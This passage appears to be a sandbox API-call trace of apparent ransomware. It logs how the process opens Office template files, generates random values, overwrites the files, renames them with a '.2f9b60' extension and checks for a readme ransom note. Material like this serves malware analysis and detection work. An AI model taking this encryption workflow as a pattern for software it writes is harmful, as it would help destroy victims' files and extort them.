DestinationString="4049f773f2335a8f98d3f0fadf9b204d0f8d4dc1a76ea79a8fec40eb5a1e9e63602bb2a6ca263346") returned 0x0 [0165.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050bed0 [0165.643] RtlFreeAnsiString (AnsiString="4") [0165.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0a0) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff070) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e40) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0165.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab60) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9b0) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aa70) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050cbe0 [0165.646] wcscat (in: _Dest=0x2050cbe0, _Source="4049f773f2335a8f98d3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3" [0165.646] wcscat (in: _Dest=0x2050cbe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3.2f9b60" [0165.646] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3.2f9b60", NtPathName=0x386dfc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\4049f773f2335a8f98d3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c36a50 [0165.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36a50) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34390) returned 1 [0165.650] NtQueryInformationFile (in: FileHandle=0x1d7c, IoStatusBlock=0x386dfcb8, FileInformation=0x386dfcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x386dfcb8, FileInformation=0x386dfcc8) returned 0x0 [0165.650] NtSetInformationFile (FileHandle=0x1d7c, IoStatusBlock=0x386dfcb8, FileInformation=0x386dfcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0165.652] FlushFileBuffers (hFile=0x1d7c) returned 1 [0166.281] CloseHandle (hObject=0x1d7c) returned 1 [0203.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c090 [0203.240] wcscpy (in: _Dest=0x1b86c090, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0203.240] wcscat (in: _Dest=0x1b86c090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0203.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0203.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 [0203.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0650) returned 1 Thread: id = 2110 os_tid = 0x418 [0138.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx")) returned 0x20 [0138.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx", dwFileAttributes=0x20) returned 1 [0138.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d48 [0138.789] GetFileSizeEx (in: hFile=0x1d48, lpFileSize=0x3883fa00 | out: lpFileSize=0x3883fa00*=73794) returned 1 [0138.789] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x1203e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.789] ReadFile (in: hFile=0x1d48, lpBuffer=0x3883f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3883f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3883f980*, lpNumberOfBytesRead=0x3883f9c8*=0x4, lpOverlapped=0x0) returned 1 [0138.848] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa40 [0138.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aad0 [0138.848] NtQuerySystemTime (in: CurrentTime=0x3883f8c0 | out: CurrentTime=0x3883f8c0*=132462177440890000) returned 0x0 [0138.848] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x6d1799be [0138.848] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x2fa4a578 [0138.848] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0xbab0890 [0138.848] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x4d79624c [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x3709bd3f [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x556d7611 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x637e5e70 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x2299857f [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x90669ea [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x159b7889 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x3583770b [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x3c2c196c [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x560c8e75 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x76c2bcd8 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x5b7e6cc5 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x69283ed6 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x64f2ca60 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x67cddc62 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x178e2cf [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x7ed55a86 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x68be9503 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x2056e99f [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x4d3771a4 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x664c3da2 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x4c617054 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x4795a2bf [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0xab856e2 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x74f813ee [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x60696d5 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x16fb2b70 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x264eb883 [0138.849] RtlRandomEx (in: Seed=0x3883f8b0 | out: Seed=0x3883f8b0) returned 0x27e09450 [0138.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab00 [0138.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab30 [0138.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aad0) returned 1 [0138.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420c6d10 [0138.861] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.861] ReadFile (in: hFile=0x1d48, lpBuffer=0x420c6d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3883f920, lpOverlapped=0x0 | out: lpBuffer=0x420c6d10*, lpNumberOfBytesRead=0x3883f920*=0x3c00, lpOverlapped=0x0) returned 1 [0138.872] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab90 [0138.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab90) returned 1 [0138.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d5d50 [0138.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab90 [0138.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205abc0 [0138.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205abc0) returned 1 [0138.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.874] WriteFile (hFile=0x1d48, lpBuffer=0x420d5d50, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3883f920, lpOverlapped=0x0) [0170.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d5d50) returned 1 [0170.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420c6d10) returned 1 [0170.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0170.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ec0 [0170.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0170.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0170.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0170.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0170.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0170.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0170.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0170.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x42c208e0 [0170.876] SetFilePointerEx (in: hFile=0x1d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.877] WriteFile (in: hFile=0x1d48, lpBuffer=0x42c208e0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3883f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42c208e0*, lpNumberOfBytesWritten=0x3883f9d0*=0x124, lpOverlapped=0x0) returned 1 [0200.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0200.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0200.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be80) returned 1 [0200.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ebf0 [0200.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0200.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be50 [0200.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be50) returned 1 [0200.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0200.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x4309ffa0 [0200.024] sprintf (in: _Dest=0x4309ffa0, _Format="%c%c" | out: _Dest="88") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffa2, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffa4, _Format="%c%c" | out: _Dest="80") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffa6, _Format="%c%c" | out: _Dest="69") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffa8, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffaa, _Format="%c%c" | out: _Dest="19") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffac, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffae, _Format="%c%c" | out: _Dest="77") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffb0, _Format="%c%c" | out: _Dest="47") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffb2, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffb4, _Format="%c%c" | out: _Dest="a3") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffb6, _Format="%c%c" | out: _Dest="d8") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffb8, _Format="%c%c" | out: _Dest="28") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffba, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffbc, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffbe, _Format="%c%c" | out: _Dest="37") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffc0, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffc2, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffc4, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffc6, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffc8, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffca, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffcc, _Format="%c%c" | out: _Dest="76") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffce, _Format="%c%c" | out: _Dest="69") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffd0, _Format="%c%c" | out: _Dest="41") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffd2, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffd4, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffd6, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffd8, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffda, _Format="%c%c" | out: _Dest="df") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffdc, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffde, _Format="%c%c" | out: _Dest="67") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffe0, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffe2, _Format="%c%c" | out: _Dest="1f") returned 2 [0200.025] sprintf (in: _Dest=0x4309ffe4, _Format="%c%c" | out: _Dest="11") returned 2 [0200.026] sprintf (in: _Dest=0x4309ffe6, _Format="%c%c" | out: _Dest="38") returned 2 [0200.026] sprintf (in: _Dest=0x4309ffe8, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.026] sprintf (in: _Dest=0x4309ffea, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.026] sprintf (in: _Dest=0x4309ffec, _Format="%c%c" | out: _Dest="41") returned 2 [0200.026] sprintf (in: _Dest=0x4309ffee, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.026] sprintf (in: _Dest=0x4309fff0, _Format="%c%c" | out: _Dest="bd") returned 2 [0200.026] sprintf (in: _Dest=0x4309fff2, _Format="%c%c" | out: _Dest="19") returned 2 [0200.026] sprintf (in: _Dest=0x4309fff4, _Format="%c%c" | out: _Dest="15") returned 2 [0200.026] sprintf (in: _Dest=0x4309fff6, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.026] sprintf (in: _Dest=0x4309fff8, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.026] sprintf (in: _Dest=0x4309fffa, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.026] sprintf (in: _Dest=0x4309fffc, _Format="%c%c" | out: _Dest="9b") returned 2 [0200.026] sprintf (in: _Dest=0x4309fffe, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.026] sprintf (in: _Dest=0x430a0000, _Format="%c%c" | out: _Dest="3e") returned 2 [0200.026] sprintf (in: _Dest=0x430a0002, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.026] RtlInitAnsiString (in: DestinationString=0x3883fa48, SourceString="882c8069b419fe7747bca3d828cba4373c4acaf4f95c7669418fbcae7edf4c675f1f11387be141d4bd1915dd3cfb9be73e5f" | out: DestinationString="882c8069b419fe7747bca3d828cba4373c4acaf4f95c7669418fbcae7edf4c675f1f11387be141d4bd1915dd3cfb9be73e5f") [0200.026] RtlAnsiStringToUnicodeString (in: DestinationString=0x3883fa18, SourceString="882c8069b419fe7747bca3d828cba4373c4acaf4f95c7669418fbcae7edf4c675f1f11387be141d4bd1915dd3cfb9be73e5f", AllocateDestinationString=1 | out: DestinationString="882c8069b419fe7747bca3d828cba4373c4acaf4f95c7669418fbcae7edf4c675f1f11387be141d4bd1915dd3cfb9be73e5f") returned 0x0 [0200.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0580 [0200.027] wcscat (in: _Dest=0x431f3a60, _Source="882c8069b419fe7747bca3d82" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82" [0200.027] wcscat (in: _Dest=0x431f3a60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82.2f9b60" [0200.027] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82.2f9b60", NtPathName=0x3883f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\882c8069b419fe7747bca3d82.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f840 Thread: id = 2111 os_tid = 0x1408 [0138.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx")) returned 0x20 [0138.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx", dwFileAttributes=0x20) returned 1 [0138.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e98 [0138.869] GetFileSizeEx (in: hFile=0x1e98, lpFileSize=0x388ef920 | out: lpFileSize=0x388ef920*=251034) returned 1 [0138.869] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x3d496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.869] ReadFile (in: hFile=0x1e98, lpBuffer=0x388ef8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x388ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x388ef8a0*, lpNumberOfBytesRead=0x388ef8e8*=0x4, lpOverlapped=0x0) returned 1 [0138.874] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205abc0 [0138.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205abf0 [0138.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.874] NtQuerySystemTime (in: CurrentTime=0x388ef7e0 | out: CurrentTime=0x388ef7e0*=132462177441202000) returned 0x0 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x28538843 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4d15090 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x66a1ef22 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x7f7fa4c4 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4c558f0f [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0xbccf273 [0138.874] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x5675cd1a [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x1961fe6d [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x6c225d8e [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x26888f19 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x3f09e3de [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x6256f1e0 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x731dfb7d [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4e770688 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x111c59dd [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x371c1c16 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4599f1d1 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x138964c9 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x3bdd8bb2 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x36ac6986 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x47a0a69c [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x777a8e4b [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4d786c9f [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x66b09363 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x16ef8bde [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x47d2e6df [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x2b96f3ac [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x54aa2551 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x7ba18a28 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4fa695ee [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0xda06cf0 [0138.875] RtlRandomEx (in: Seed=0x388ef7d0 | out: Seed=0x388ef7d0) returned 0x4a65effc [0138.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac50 [0138.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac80 [0138.882] RtlFreeHeap 